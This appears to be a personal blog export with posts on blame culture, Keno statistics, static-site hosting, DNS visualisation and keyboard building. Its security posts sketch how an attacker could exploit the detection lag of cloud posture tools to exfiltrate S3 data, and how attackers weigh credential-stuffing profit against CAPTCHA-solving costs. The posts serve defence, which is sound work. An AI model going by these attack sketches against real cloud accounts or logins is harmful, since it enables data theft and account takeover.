This negative feedback loop starts to form, where staff see themselves and other teams as cogs in the machine as opposed to human beings. "It's that other team of faceless people that I never interact with that are to blame, I acknowledge non of their circumstances, and have no incentives to understand them". This is called the Knobe effect 3</a></sup>. We perceive the goodness or badness of the actions of other people based on the intentions' of the people who took the action. Obviously when it comes to the "faceless people that I never interact with", their intentions are bad.</p>
As a result organizational chaos ensues. Confused roles and responsibilities within the organization contribute to its blame culture, and solidify through the organisation's communication structures.
Assigning blame becomes the modus operandi of teams. Blame in modern organisations takes many forms. </p>
We've started to acknowledge that blame culture is toxic 4</a></sup>. If you're in tech, you might have heard of blameless postmorterms 5</a></sup>. Worth noting that in sectors like aviation and patient safety another methodology is currently being promoted, just culture 6</a></sup>. In this form, the analysis starts with identifying intent.</p>
Like the Knobe effect mentioned above, and unlike blameless postmorterms, an assumption that everyone involved has good intentions is not the default position of the analysis. Just culture aims to start by identifying whether there was gross negligence or malice, in order to identify further actions.</p>
Perhaps the most common misconception in tech, is that Root Cause Analysis (RCA) ends in a single node. Notice the singular form of cause</em>. No matter whether we try to operate within blameless, just culture, or otherwise, the belief that there is a single source of all that is to blame. Perhaps the word "root" is to blame 😉 .</p>
</p>
"It's always DNS" is a common adage in RCA, but is it only</em> DNS. Dekker talks about causal meshes and webs. "A root is simply where you stop looking any further".</p>

  Cause is not something you find. Cause is something you construct. How you construct it, and from what evidence, depends on where you look, what you look for, who you talk to, what you have seen before and likely on who you work for. 

      -- Sidney Dekker
</blockquote>
Combining Dekker's 7</a></sup> and Douglas' understanding of RCA, and blame, respectively, we can be confident in saying that if you want to cast blame, you must be able to assign the root cause.
In the examples above, the teams did exactly that. They assigned the root cause of the issue, blocker, vulnerability, etc. to another team.</p>
They transformed a problem, into a root cause. Not many root causes, just one, that other team, and in certain organisations we allow this to be the most efficient way of solving a problem.</p>

^1</sup>Risk and Blame</a></p>
</div>
^2</sup>Diehl, Manfred, Elizabeth L. Hay, and Kathleen M. Berg. 2011. “The Ratio between Positive and Negative Affect and Flourishing Mental Health across Adulthood.” Aging & Mental Health 15 (7): 882–93. https://doi.org/10.1080/13607863.2011.569488.</a></p>
</div>
^3</sup>Knobe Effect</a>.</p>
</div>
^4</sup>Timms, Blame Culture Is Toxic. Here’s How to Stop It. HBR</a></p>
</div>
^5</sup>Beyer, B., Jones, C., Petoff, J. and Niall Richard Murphy (2016). Site reliability engineering : how Google runs production systems. Sebastopol, Ca: Oreilly.</a></p>
</div>
^6</sup>A just culture guide, NHS</a></p>
</div>
^{7</sup>
Dekker, S. (2016) ‘The construction of cause’, in The field guide to understanding ‘human error’. Ashgate Publishing Company: Ashgate Publishing, pp. 75–76.</p>
</div>}


Greek Keno Statistics
2023-08-30T00:00:00+00:00
I stumbled upon lottery statistics</a> which are very useful if you have never come across the gambler's fallacy</a>. On the UK national lottery you pick 6 numbers out of 59 (1-59). Of these 6 numbers are drawn.</p>
I wondered how this plays out in other lottery-like games, and how do I get to verify these numbers.
Verify in the sense for example, that the mean of the uniform distribution of lottery draws is what is expected. </p>
First of all we need numbers, lots of numbers.</p>
I was after a readily available dataset and a lottery-like game where there's no current known analysis that I can find with a quick internet search.</p>
First of all we need numbers, lots of numbers. I'm aiming to at least reproduce (most of) the statistics on lottery.co.uk.</p>
I ended up picking Greek Keno</a> named "Kino" because the data is available online for free</a>.</p>
In the Greek version of Keno, you pick up to 12 numbers out of 80 (1-80). Of these 20 numbers are drawn.
The pay table is formed in relation to the amount of numbers you've picked against the amount of numbers drawn that match your pick.</p>
For example if you pick 2 numbers, and both of them match then you win €2.5. If one of them matches you win €0.5.
However if you pcik 6 numbers, if two of them match, you don't qualify for any winnings.</p>
After downloading and loading the excel spreadsheets, you can find Kino stats below, from 2015 to 2023 for 559_505</em> draws.</p>
Read about the gambler's fallacy, BeGambleAware</a> and Responsible Gaming</a>.</p>
Frequency Graph</h3>
</p>
Most common numbers</h3>
#     Times Drawn
</span>28    140504
</span>34    140519
</span>16    140525
</span>3     140632
</span>26    140687
</span></code></pre>
Least often picked numbers</h3>
#     Time Drawn
</span>54    139049
</span>47    139115
</span>23    139166
</span>33    139196
</span>55    139257
</span></code></pre>
Most common triplets</h3>
3, 26, 34
</span>3, 26, 28
</span>3, 16, 26
</span>3, 15, 26
</span></code></pre>
Most common consecutive pairs</h3>
1,  2
</span>79, 80
</span>15, 16
</span>18, 19
</span>26, 27
</span></code></pre>
Most common consecutive triplets</h3>
1,  2,  3
</span>78, 79, 80
</span>34, 35, 36
</span>2,  3,  4
</span>14, 15, 16
</span>73, 74, 75
</span></code></pre>
Descriptive Statistics</h3>
The numbers at the top indicate the order of the drawn numbers, i.e. for 1</em>, all the numbers that have been drawn first have a mean of 40.46</code>.
This is the output from calling describe()</code> on the pandas dataframe.</p>
                  1              2              3              4   \
</span>count  559505.000000  559505.000000  559505.000000  559505.000000   
</span>mean       40.469942      40.514873      40.490982      40.475603   
</span>std        23.086179      23.109007      23.112292      23.096609   
</span>min         1.000000       1.000000       1.000000       1.000000   
</span>25%        21.000000      20.000000      20.000000      20.000000   
</span>50%        40.000000      41.000000      40.000000      40.000000   
</span>75%        60.000000      61.000000      61.000000      60.000000   
</span>max        80.000000      80.000000      80.000000      80.000000   
</span>
</span>                  5              6              7              8   \
</span>count  559505.000000  559505.000000  559505.000000  559505.000000   
</span>mean       40.477388      40.520717      40.451901      40.476062   
</span>std        23.095309      23.104026      23.091244      23.101723   
</span>min         1.000000       1.000000       1.000000       1.000000   
</span>25%        20.000000      20.000000      20.000000      20.000000   
</span>50%        40.000000      41.000000      40.000000      40.000000   
</span>75%        61.000000      61.000000      60.000000      61.000000   
</span>max        80.000000      80.000000      80.000000      80.000000   
</span>
</span>                  9              10             11             12  \
</span>count  559505.000000  559505.000000  559505.000000  559505.000000   
</span>mean       40.523447      40.536674      40.514626      40.495322   
</span>std        23.092834      23.099860      23.096518      23.116335   
</span>min         1.000000       1.000000       1.000000       1.000000   
</span>25%        21.000000      21.000000      21.000000      20.000000   
</span>50%        40.000000      41.000000      41.000000      40.000000   
</span>75%        61.000000      61.000000      61.000000      61.000000   
</span>max        80.000000      80.000000      80.000000      80.000000   
</span>
</span>                  13             14             15             16  \
</span>count  559505.000000  559505.000000  559505.000000  559505.000000   
</span>mean       40.502623      40.503633      40.507095      40.510634   
</span>std        23.088596      23.098390      23.094724      23.097256   
</span>min         1.000000       1.000000       1.000000       1.000000   
</span>25%        21.000000      21.000000      21.000000      21.000000   
</span>50%        40.000000      40.000000      40.000000      41.000000   
</span>75%        60.000000      61.000000      61.000000      61.000000   
</span>max        80.000000      80.000000      80.000000      80.000000   
</span>
</span>                  17             18             19             20  
</span>count  559505.000000  559505.000000  559505.000000  559505.000000  
</span>mean       40.514905      40.445926      40.478031      40.496453  
</span>std        23.094424      23.088998      23.070759      23.069527  
</span>min         1.000000       1.000000       1.000000       1.000000  
</span>25%        21.000000      20.000000      21.000000      21.000000  
</span>50%        41.000000      40.000000      40.000000      40.000000  
</span>75%        61.000000      60.000000      60.000000      60.000000  
</span>max        80.000000      80.000000      80.000000      80.000000  
</span></code></pre>
Frequency Table</h3>
#     Times Drawn
</span>1     140137
</span>2     140219
</span>3     140632
</span>4     140107
</span>5     139789
</span>6     139551
</span>7     139568
</span>8     140095
</span>9     139330
</span>10    139571
</span>11    139371
</span>12    139436
</span>13    139971
</span>14    140205
</span>15    140481
</span>16    140525
</span>17    139383
</span>18    140004
</span>19    140090
</span>20    139587
</span>21    140146
</span>22    140410
</span>23    139166
</span>24    139879
</span>25    139936
</span>26    140687
</span>27    140179
</span>28    140504
</span>29    140041
</span>30    140000
</span>31    139548
</span>32    139418
</span>33    139196
</span>34    140519
</span>35    139883
</span>36    139892
</span>37    139518
</span>38    139864
</span>39    140237
</span>40    139737
</span>41    139868
</span>42    139994
</span>43    140063
</span>44    139436
</span>45    139830
</span>46    139961
</span>47    139115
</span>48    139872
</span>49    139829
</span>50    140115
</span>51    140007
</span>52    140355
</span>53    139289
</span>54    139049
</span>55    139257
</span>56    139994
</span>57    139720
</span>58    140023
</span>59    139763
</span>60    139454
</span>61    139506
</span>62    140186
</span>63    140134
</span>64    140397
</span>65    139743
</span>66    139802
</span>67    139635
</span>68    139592
</span>69    139732
</span>70    139873
</span>71    139952
</span>72    139981
</span>73    139953
</span>74    140312
</span>75    140471
</span>76    139809
</span>77    139709
</span>78    139629
</span>79    139813
</span>80    140065
</span></code></pre>


Race conditions in Cloud Security Posture Management
2023-08-16T00:00:00+00:00
Race Conditions in Cloud Security Posture Management</h3>
Race conditions - the archenemy of all detective and corrective controls.</p>
Cloud Security Posture Management (CSPM) a well established market with a market cap north of US$ 4 billion</a>, including large SaaS products like Prisma and Wiz to open source solutions like Cloud Custodian.</p>
Most enterprises with a cloud presence will have some form of a CSPM.</p>
I'm using CSPM as an example. There's a lot of nuance in the market today, with tooling focusing on assets, relationships, remediations, workload coverage, etc. The principle applies to Cloud Workload Protection Platform (CWPP), or any other tech that works on the same basis.</p>
If you're on AWS for example, your CSPM will either try to call Describe*</code> every so often and potentially combine this with a CloudTrail event.</p>
The idea is that if preventive controls aren't possible, the CSPM will detect and even remediate or at least report the security event. According to the SANS cloud security survey</a>, misconfigurations of cloud services played a part in ~42% of all attacks. 
And through the power of the cloud</em> we can automatically remediate these misconfigurations.</p>
In AWS preventive controls, those described in the data perimeter</a> for example, are relatively new. Restructuring your organisation with a data perimeter in mind requires a significant effort. 
You'll need to rebuild and rethink about foundational services. Which is why I believe CSPMs will continue to thrive and continue to fill a gap in the market.</p>
The fist problem with detective and corrective controls is that they are bound to TOCTOU</a> race conditions. The time that it takes for an event to be published in an audit log (detected) and then corrected, is enough for an adversary to exploit the misconfiguration. In reality this is due to delivery time gaps, for example CloudTrail delivers an event within 5 minutes of the API call</a>.</p>
In reality it's ~5 seconds, which is plenty of time to exploit a detective/corrective control combo. I'm picking CloudTrail as an example, other Cloud Service Providers (CSP) are on the same level more or less.</p>
The second problem with CSP's APIs is that they fail all the time. Because that's how computers work.
It could be throttling, it could be elevated error rates, a self-inflicted recursive loop</a>, or an attacker DoSing your quota so that the CSPM won't be able to query your account.
The outcome is the same. Your CSPM fails to get an accurate view of a resource. That Describe*</code> call fails. The attacker can create a window of opportunity to elude the detection of your tooling.
Your CSPM doesn't have a special partner's API. We all use the same APIs.</p>
In other words you shouldn't lean exclusively on the capabilities of detective and corrective controls, despite their allure of automation.</strong></p>
Self-healing is great, preventing is better, understanding all failure modes is the best.</p>

Here's a typical scenario:</p>
Application teams in your organisation have the power to manage their network with guardrails. App teams can create VPCs without public subnets and use PrivateLink. The most common service they reach out is S3, and they create an S3 VPC gateway endpoint, and modify its policy to reach their buckets.</p>
The threat we're trying to mitigate here is that an attacker inside the VPC - with app team privileges - can reach out to any</em> bucket via this VPC endpoint. You can use aws:PrincipalAccount</code>, to stop the attacker from bringing their own credentials, but that's about it. You can treat this as a non-malicious misconfiguration as well, but we'll stick with our attacker persona. </p>
You can't use an SCP on all identities like aws:ResourceAccount</code> and co. because there are legitimate usecases for reaching out to S3 buckets that sit outside your AWS org. For example arn:aws:s3:::repo.*.amazonaws.com</code> used for building your Amazon Linux 2 golden AMIs.</p>
You decide to lean against your CSPM. You have an allowlist of buckets and when an app team creates an VPC Endpoint the CSPM detects</em> the event, checks the endpoint policy, and provides a corrective</em> action by applying a stricter endpoint policy.</p>
</p>
The app team creates an S3 endpoint, CSPM picks up the event from CloudTrail, and applies the default restricted policy.
When they try to GetObject</code> the VPC endpoint applied by the CSPM enforces the bucket allowlist.</p>
This is the happy path for the CSPM. The remediation action takes place before the "exfiltration" event. However, typically CloudTrail delivers an event within 5 minutes of the API call</a>. </p>
The race condition is on the last two steps. 
If the attacker manages to GetObject</code> before the restrictive policy is applied - and sometimes they get 5 minutes - they could establish a connection to their S3 bucket.</p>
</p>
Once a connection has been authenticated and authorised via the endpoint, the policy change on the endpoint will not</em> reset the connection.
You might be thinking, "the attacker needs to recreate the endpoint until they win the race condition" and that's slow and noisy. Unless the app team can also ModifyVPCEndpoint</code>, in which case the attack becomes trivial.</p>
Here's what the happy path for the attacker looks like in that case.</p>
</p>
It's noisy, and it will be detected after the fact with frequency analysis - if you do this sort of thing - on the CloudTrail events.</p>
For our scenario - bar any preventive controls on the IAM Identities - that would be as good as it gets.</p>

Examples where this type of race condition is applicable in AWS:</p>


All services with resource policies</li>

All VPC Endpoints with policies</li>

VPC Endpoint connections to external endpoint services and vice versa</li>

Role policy attachment enforcement</li>
</ul>
Next time you revisit your controls and remediation strategy, review if you should follow a different strategy altogether.</p>
You can read part 2</a> for follow up practical example.</p>


From Medium.com to Zola
2023-07-18T00:00:00+00:00
I like Medium. It's where I started eponymously blogging. Medium publications are great and the workflow is pretty neat. 
Lots of good content and publications are still in Medium.</p>
But I really like tables. Maybe it's because I've spent a part of my life in spreadsheets. Tables are probably one of Markdown's pain points.
There is no good way to style a table in Markdown. Not only because there are at least three different ways</a> to write a table, but because after 10 rows, no matter which Markdown extension I'm using, I stop liking working with tables.
I still prefer it over having no tables, or having to take a screenshot and embed and image of the table.</p>
I also like syntax highlighting. Embedding gists from GitHub and going back and forth, is frustrating at times.
These are things that medium doesn't do, and I like to do. </p>
I wanted </p>

Tables and code highlighting </li>
Not to host or maintain anything</li>
Write content in Markdown or HTML</li>
Export content easily</li>
Draft and publish using the same solution</li>
Not break the bank</li>
</ol>
Hosted CMS sounded good but I couldn't find one that fulfilled all of the above.
The next step was to pick from one of the 2^10 static site generators out there and then pick the hosting which was probably going to be git based anyway.</p>
Zola</h2>
I picked Zola</a>. It has a lot of themes, it's easy to install, configurable, and it looks like I can work with Tera</a>, since it's quite similar to Jinja2.</p>
A great feature is the "live" view. You can run zola serve</code>, and zola will setup a watcher under your content. Every time you save zola will build the content on the fly and serve it. This is a huge time saver, and makes writing a pleasant experience.</p>
The difficult part was figuring out Zola's content layout and then converting medium's HTML to Markdown with frontmatter.
The docs are great, and there are multiple examples.</p>
For the conversion I wrote a script</a> to do the heavy lifting with pandoc</a> converting HTML to Markdown.</p>
I looked at the deployment docs on Zola, and picked Cloudflare Pages.</p>
Hosting</h2>
Make a repo in GitHub or GitLab, push your markdown. You can largely follow this guide</a> just beware that Clouflare pages v2 build system doesn't support zola</a>, yet.</p>
You can now setup a custom domain and you're good to go.</p>


The shared responsibility of credential stuffing
2023-01-17T00:00:00+00:00
The shared responsibility of credential stuffing</h3>
If your account falls victim to a credential stuffing attack, whose
responsibility is it ?</p>
Drawing a parallel from the shared responsibility model of cloud
service providers like
AWS</a>, credential stuffing attacks have a not
so well defined responsibility model. Whose responsibility is it if your
account on a hosted provider gets breached ?</p>
Well if it was LastPass you know the answer. LastPass was
compromised</a> and attackers got hold of credentials.
The responsibility for protecting your account data, is on LastPass.
LastPass was compromised, so the answer is simple, not your fault.</p>
We conclude then: If you don't host your data, and your account gets
compromised, then the responsibility is with the vendor that hosts your
data. This isn't groundbreaking it happens already in the retail banking
system --- in the UK --- and with GDPR.</p>
The responsibility the banks have when it comes to retail fraud, in the
UK is called "The Quincecare duty". The Quincecare duty originated from
Barclays Bank plc v Quincecare, in which case the courts decided that
the bank has a duty of care to refrain from executing fraudulent
payments on the behalf of their customers. Here's the definition from
Thomson
Reuters</a>' practical law:</p>

It essentially consists of an implied term and a co-extensive duty of
care owed by the bank to its customer to refrain from making or
executing a payment when the bank is put on inquiry that a payment
instruction from its customer may be a result of fraud.</p>
</blockquote>
We also have GDPR --- in the EU --- which introduces a duty on all
organisations to report certain personal data breaches to the relevant
supervisory authority, within 72 hours of becoming aware of the breach.</p>
Our logic isn't unfounded, and we have precedence. The vendor that hosts
my data is responsible for the security of the data.</p>
Adversaries launched a credential stuffing attack to Norton Password
Manager, here's their statement:</p>

"Our own systems were not compromised. However, we strongly believe
that an unauthorized third party knows and has utilized your username
and password for your account[...]"</p>
</blockquote>
Quote from bleeping
computer</a>.</p>
Your account was compromised, but it wasn't the Norton Password Manager
systems that got breached, it was your account --- according to Norton.</p>
GM has a similar stance, from malware
bytes</a>:</p>

"Based on the investigation to date, there is no evidence that the log
in information was obtained from GM itself. We believe that
unauthorized parties gained access to customer login credentials that
were previously compromised on other non-GM sites and then reused
those credentials on the customer's GM account."</p>
</blockquote>
For what it's worth, I'm using these incidents as examples. Companies
take this stance when it comes to credential stuffing attacks. Worse,
some of them don't detect, warn or admit it.</p>
Well let's start with understanding what credential stuffing attacks are
and how they work. I've written about credential stuffing attacks in
the
past</a> but let me recap.</p>
</p>
Photo by Sixteen Miles Out</a> on Unsplash</a></figcaption>

If you are using the same password in more than one website you are most
likely going to fall victim to a credential stuffing attack.</p>
Chances are someone is going to try and log in with these credentials on
the an insurance provider, a bank, or Netflix. A different service that
the one that your credentials --- username and password --- were
compromised. Once logged in, the attacker knows that these credentials
work for this website. That's all it takes, a single login that can be
reused in other services.</p>
The combination of your username and password --- credentials --- became
a commodity that will be sold in the equivalent of an underground
market. The price that your credentials will be sold is based on your
region, type of accounts, and markets where the credentials will be
listed. Your Netflix account for example might go for just over a a
dozen USD for a year.</p>
It's the same principle as having one key --- a skeleton key --- that
opens all doors. If a thief gets a hold of it, they can access your car,
and your house.</p>
Eventually your accounts can be sold separately, en masse, or bundled
with millions of other credentials. Sometimes the credentials are being
sold under the pretense of "account sharing".</p>
And it's not always invite-only forums on the "dark web". Go to your
favourite consumer-to-consumer marketplace and search for a
subscription. You'll most likely find someone "sharing" one with you,
for a very low price. They just so happen to have about 50 more of
these.</p>
</p>
Photo by Ishaan Kansal</a> on Unsplash</a></figcaption>

Back to our original question.</p>
The vendor that hosts our data notifies their customers that the account
they hold with them was breached, it was a credential stuffing attack.
Who is responsible?</p>
Following with our key metaphor from earlier, it's reasonable to think
of your credentials as your "property". Your password is your data.</p>
If your account gets compromised one way or the other, the
vendor --- should--- have a duty of care to protect, warn and deter you
from falling victim to a credential stuffing attack. It's your data that
gets compromised. This isn't different to a GDPR breach notification. **
We shouldn't pass the blame to the user, en masse, and by default.**</p>
And if you're looking for a technology panacea to solve this problem,
maybe PassKey is the answer. Apple, Google, and others have now agreed
on a new and secure way of authenticating users to websites.</p>
This is fundamentally a lot more secure as it stops attacks like
credential stuffing and phishing on their tracks. "Hosted" PassKey has
been built is such a way that even if your iCloud or a Google server
that has your PassKey gets compromised, the attacker wouldn't be able to
access them.</p>
By Costas Kourmpoglou</a>
on January 17, 2023</a>.</p>
Canonical
link</a>{.p-canonical}</p>
Exported from Medium</a> on July 3, 2023.</p>


Querying and Visualising OctoDNS records with Neo4j
2020-09-19T00:00:00+00:00
Querying and Visualising OctoDNS records with Neo4j</h1>

Visualising DNS records with Neo4j</h3>
OctoDNS</a> provides a toolset for managing DNS
records across multiple providers. Built by Github and using a typical
YAML structure, to describe what a DNS zone should look like. The
example taken from the getting-started section of the repo, describes
what an A record at example.com looks like.</p>
---
</span>''</span>:
</span>  </span>ttl</span>: </span>60
</span>  </span>type</span>: </span>A
</span>  </span>values</span>:
</span>  - </span>1.2.3.4
</span>  - </span>1.2.3.5
</span></code></pre>
Neo4j</a> is a
graph database platform, which focuses on the relationships between data
records. Using its own query language, cypher, Neo4j makes it easy to
visualise graphs and explore the relationships of your data.</p>
Why ?</strong></p>

Declarative configuration is about treating infrastructure as data, which is more portable than code, and enables workflows that manipulate desired state based on policy, while serializing the results between each step of the pipeline.

From @kelseyhightower
</a></p>
</blockquote>
The declarative nature of OctoDNS, allows us to treat the config as
data. We can then query our data and ask all sorts of questions about
the relationships in our DNS records. My preferred tool of choice here
is Neo4j as it provides a way to visualise these relationships out of
box.</p>
We can explore patterns, relationships, and overall develop intuition.
From threat modelling
sessions</a>, as a starting point for intel gathering, finding
dangling domain records for bug bounties, or to understand the
components that engineers used in order to build the system.</p>
In systems that make use of more than one platform or tech stack, the
question of "where does this thing point to ", comes up frequently.</p>
E.g., where does this
run</a>[1] and what is
this</a>[2] ?</p>
Finally by visualising and having a picture might not always be worth a
thousand words, but it will definitely complement them.</p>
How ?</strong></p>
We will parse the zone config in YAML. As an example we will use the
zone
config</a> of k8s.io, and extract the zone records,
and values. For the purposes of this, I only care about A and CNAME
records. We will then try and enrich the data. Specifically, I'm
matching IP ranges to vendors. This way I can identify if an A record
belongs to Google or some other vendor. These IP ranges are published by
GCP, AWS, etc. For example, these are the IP ranges for GCP.</p>

Results</strong></p>
This is what the whole graph for k8s.io zones looks like. The nodes in
yellow are the zone records, the nodes in pink are the values. There is
only one relationship type "POINTS_TO". In other words a node in yellow
will be "k8s.io" and the node in pink will be "34.107.204.206"</p>
</p>
If you graph any system, patterns emerge — Pi, 1998,
paraphrased</figcaption>
Most nodes come in triplets. This is because the canary release and the
live release point to the same value.</p>
$</span>dig</span> +short k8s.io
</span>34.107.204.206 
</span></code></pre>
$</span>dig</span> +short canary.k8s.io
</span>34.107.204.206
</span></code></pre>
</p>
Owner</strong></p>
</p>
K8s.io/kubernets.io is almost equally hosted on Netlify
and GCP</figcaption>
The data enrich helps us identify the owner of the zone record. Doing a
summary, 38 of k8s.io's records point to Netlify domains.</p>
Finally the large cluster in the middle points to redirect.k8s.io .</p>
</p>
The Unknown Owner of redirect.k8s.io</figcaption>
Where do we go now?</strong></p>
This pattern, of treating configuration as data, is already being used
in kubernetes clusters, see
https://github.com/spekt8/spekt8</a>. But we can extend it further to DNS
records,terraform resources, etc.</p>
Visualising structures helps in making sense of higher order concepts.
We can even take it a step further and try to visualise every
relationship of our infrastructure from DNS record to kubernetes pod.</p>
By treating config as data, we can query it in all sorts of ways. Going
back to questions [1] and [2], we know that this isn't running in
GCP but we unfortunately still don't know what [2] is!</p>
Try it on your data and let me
know</a> what that looks like.</p>
You can find the
repo</a> to try the above on your own here.</p>
By Costas Kourmpoglou</a>{.p-author .h-card}
on September 19, 2020</a>.</p>
Canonical
link</a>{.p-canonical}</p>
Exported from Medium</a> on July 3, 2023.</p>


The economics of credential stuffing attacks
2020-06-04T00:00:00+00:00
The economics of credential stuffing attacks</h1>
If you run a website with a login form, you have either experienced a
credential stuffing attack or it has gone undetected.</p>

The economics of credential stuffing attacks</h3>
If you run a website with a login form, you have either experienced a
credential stuffing attack or it has gone
undetected</a>.</p>
Briefly a credential stuffing attack is when someone, automatically
(most of the time) is trying to check for credential reuse against your
assets.</p>
Why ? Because the credentials increase in value depending on which
websites they've got access.</p>
The attacker tooling out there caters for everyone. From All In One
applications that you can get started with 2 clicks, with Combolist As
A
Service</a>, to full blown SaaS models.</p>
Jarrod Overson's talk at
PasswordsCon</a> gives an in-depth look around the evolution and return
on investment on credential stuffing.</p>
The logical adversary</h3>
A homo adversarius, like homo economicus, a perfectly rational attacker
will want to maximise their utility. If an adversary can mount an attack
against a valuable asset that has no defences, for relatively minimum
cost, they will.</p>
If the cost of bypassing your defences exceeds the value of your assets,
they will not waste their resources on trying to defeat your defences.
Unless your assets are worth it.</p>
This is not saying that you'll have a single adversary and that you need
to go down the adversary-based threat modelling rabbit hole. But
credential stuffing is a numbers game, all sorts of actors will drive
by.</p>
And the path is well known. It's your login form.</p>
Attacker economics</h3>
We are going to use data on the average value of valid compromised
credentials from
keepersecurity</a>,
trendmicro</a>, and the Akamai paper referenced above.</p>
Let's assume that credentials on your website are worth $2.50 and you
have 10000 accounts. You've decided to implement reCAPTCHA v2. The
solved reCAPTCHA rate is 1000 for ~$3.00 and you can integrate with an
API as well.</p>
Assume no extra infrastructure costs and a success rate of 1%, that's
100 takeovers and a ROI for the adversary of $235. With a rate of 1
attempt per second, that's ~$79 an hour.</p>
</p>
2captcha public stats</figcaption>
For a lower success rate, e.g. 0.1% , the attack becomes uneconomical.
The astute mental mathematicians might have noticed that this is true,
until the value of each verified compromised account is over $3. Then
the attack becomes profitable again.</p>
Of note is that most of these websites offering CAPTCHA solvers, have
reCAPTCHA on their registration forms.</p>
The common pitfall</h3>
People will jump in to solve a problem, without having a clear
definition of the problem .</p>

Organisational teams speed toward a solution, fearing that if they
spend too much time defining the problem, their superiors will punish
them for taking so long to get to the starting
line.</a></p>
</blockquote>
And security is not exempt, especially considering the sense of urgency
once an attack has taken place. In a recent
study</a> as part of a simulation, when it came to
making cybersecurity decisions, the experienced players under certain
scenarios, did not make better decisions to develop cybersecurity
capabilities than the inexperienced players.</p>
From the paper:</p>

The decision-making literature suggests that there are two reasons for
this poor performance: individuals' reliance on satisfactory results;
and their limitations in optimization searches. The decision-making
process for individuals does not involve any systematic attempt to
optimize choice; instead, they tend to choose an action with
satisfying results. Optimization requires a thorough search of all
logical possibilities, but due to the brain's limited information
processing capacity, it proves to be unsuccessful (Evans et al.,2003).
These limitations can make individuals prone to reasoning bias, human
error, and fluctuating emotions (Keren et al., 2003).</p>
</blockquote>
And by now you might already know that "companies' spending on
cybersecurity does not necessarily correlate with level of
protection"</a>.</p>
For credential stuffing attacks this means: Look at the login trends,
identify your users, figure out their login flows. Instead of applying a
new control and mitigating or eliminating the attack, there's an
opportunity to do better.</p>
Adjust the login journey so that it provides a better customer
experience whilst increasing your resilience against these attacks.</p>
What do you do about it</h3>
I'm going to provide you with with a high-level model you can apply.
Further down I also include a a non-exhaustive, in no particular order,
list of defences. Use the model to identify which defences, will make
sense for you.</p>
As always all models are wrong, this is hopefully useful as well.</p>

[Calculate how much each of these solutions will cost for your
assets to implement. All of them. No mental maths. Write it
down.]{#646e}</li>
[Some of these controls can be detrimental to your customer
experience or highly beneficial you need to consider

a. You customer base

b. Where you apply
them</a>

c. How often you'll make your customers go through them.

d. If the controls are going to apply on all your customers

e. Know the number of customers, understand the effect on your
product, test it.]{#b630}</li>
[Based on what you have implemented so far understand how much it
will cost you to implement. You now have Total Cost of Ownership,
TCO = Cost of control +- customer churn/gain]{#83c0}</li>
[Use your favourite risk assessment methodology or incident tracker
to get the cost for the set of users susceptible to credential
stuffing. That's your Annual Loss Expectancy(ALE).]{#0eeb}</li>
[If you've had past incidents, there's no point addressing them with
irrelevant controls. Don't throw money to the problem.]{#60c3}</li>
[Pick the solution with the highest positive Return On
Investment]{#1ce5}</li>
[Repeat as necessary.]{#b2c4}</li>
</ol>
Note the last step, repeat as necessary, defence in depth.</p>
And here's the list of defences, I promised earlier.</p>
A simple and historical approach --- Honeypot fields</h4>
A field in a form that only a robot would submit or change its value.
This field is for robots only. Please leave
blank</a>. In the current environment this won't
be very effective, if at all.</p>
The best known --- (re)CAPTCHA</h4>

</a>
</blockquote>
Real life reCAPTCHA</figcaption>
Completely Automated Public Turing
test</a> to tell computers and humans Apart, or
CAPTCHA, invented in 1997.</p>
It looks like since ~2009 the economics of solving
recaptchas</a> haven't changed much. About ~$1-$1.5
per 1000 solved. However CAPTCHA is problematic because of its
accessibility</a>. For this reason alone, orange for
example</a> are not big fans.</p>
Notably reCAPTCHA
v3</a>, returns a confidence interval of how
likely someone is to be a person. No clicking traffic lights.</p>
The kraken --- WAF</h4>
Web Application Firewall. If you expect that rolling out the latest
version of the core ruleset and all your problems are going to go away,
you're going to have a bad time.</p>
If you're with $CLOUD_PROVIDER look at what they offer. E.g. AWS
WAF</a></p>
Do you run javascript --- Browser/OS fingerprinting</h4>
Your browser and each interaction with a website can reveal valuable
information. Give it a try with
panopticlick</a>.</p>
Fingerprinting</a> techniques will try to identify via
various methods your browser, OS, history, add-ons, location, and other
information to identify bots. Fingerprinting-based detection is fairly
complex as "bots are now using (almost) the exact same technologies as
humans"</a></p>
Depending on how you go about it, privacy matters and more importantly
you are most likely going to be processing more personal
data</a>. You can even go to such extremes such
as port
scanning</a> your customers.</p>
Prevention --- Check with HIBP or other sources</h4>
</p>
Check your customers' passwords against passwords that have been part of
a known breach. It's part of NIST
guidance</a> as well. Pay HaveIbeenPwned to use the
API</a> or download the hashes and build an API
of your own. . Going down this route you also have an opportunity to
inform your users and improve their overall security.</p>
A new hope --- Passwordless and WebAuthn</h4>
Depending on the maturity of your login flow and user base, WebAuthn is
great for a low-friction passwordless login. Alternatively a well
controlled email verification style passwordless flow.</p>
Two-Factor Authentication</h4>
Something you have. Even though the NCSC might
suggest</a> that if a service doesn't do 2FA you
should consider changing it, customer experience opinions vary. A longer
session length makes for a better experience.</p>
Exotic solutions</h4>
Proof of work, or make your users mine cryptocurrency. Contrary to
CAPTCHA you don't want to identify if someone is human, you just want to
make them work for it.</p>
Adaptive Solutions</h4>
Build behaviour models of your users. Have they logged in from a
different country across the world, maybe it's time to send them an
email to make sure it's them before letting them in. Can be combined
with other solutions mentioned above.</p>
Let credentials be someone else's problem</h4>
Social login. If all your users' email addresses end with @gmail.com,
maybe it's worth considering adding a Google Sign-in.</p>
Where do we go now</h3>
Attacker economics are fascinating and are constantly evolving. They can
give you useful insight on how adversaries evolve against your assets
and indicators on what you should do about it.</p>
Looking at the list, you shouldn't be thinking, "oh I know X will work
forever". You have an opportunity to improve your customers experience
as well. Get the data and design for change.</p>


Build your own  keyboard
2018-11-04T00:00:00+00:00
Build your own keyboard</h1>
Out of all the peripherals out there, I like keyboards the most.</p>

Assemble your own keyboard</h3>
Out of all the
peripherals</a> out there, I like keyboards the most.</p>
I like split keyboards and I like building keyboards. This is a guide on
how you too, can build a keyboard. Specifically I'm going to walk you
through how to build a redox, split keyboard.</p>
You will need to know how to solder and have the necessary equipment.</p>
Check out https://falba.tech</a> and
https://github.com/mattdibi/redox-keyboard</a></p>
class="graf graf--figure graf--layoutOutsetCenter graf-after--p graf--trailing">
</p>
Final Product</figcaption>

Get all the components out! With your index finder bend the diodes in a
Π position. Then remove them from the paper holding them together.</p>
The two PCB boards are identical. All the components will be soldered on
one side, except from the switches. Pick a PCB and start putting the
diodes through the holes. The diodes go in in the circle and square
holes. Orientation in diodes matters.</strong> Black end = square. This is
important!</p>
</p>
This side will become the right side of
your keyboard</figcaption>
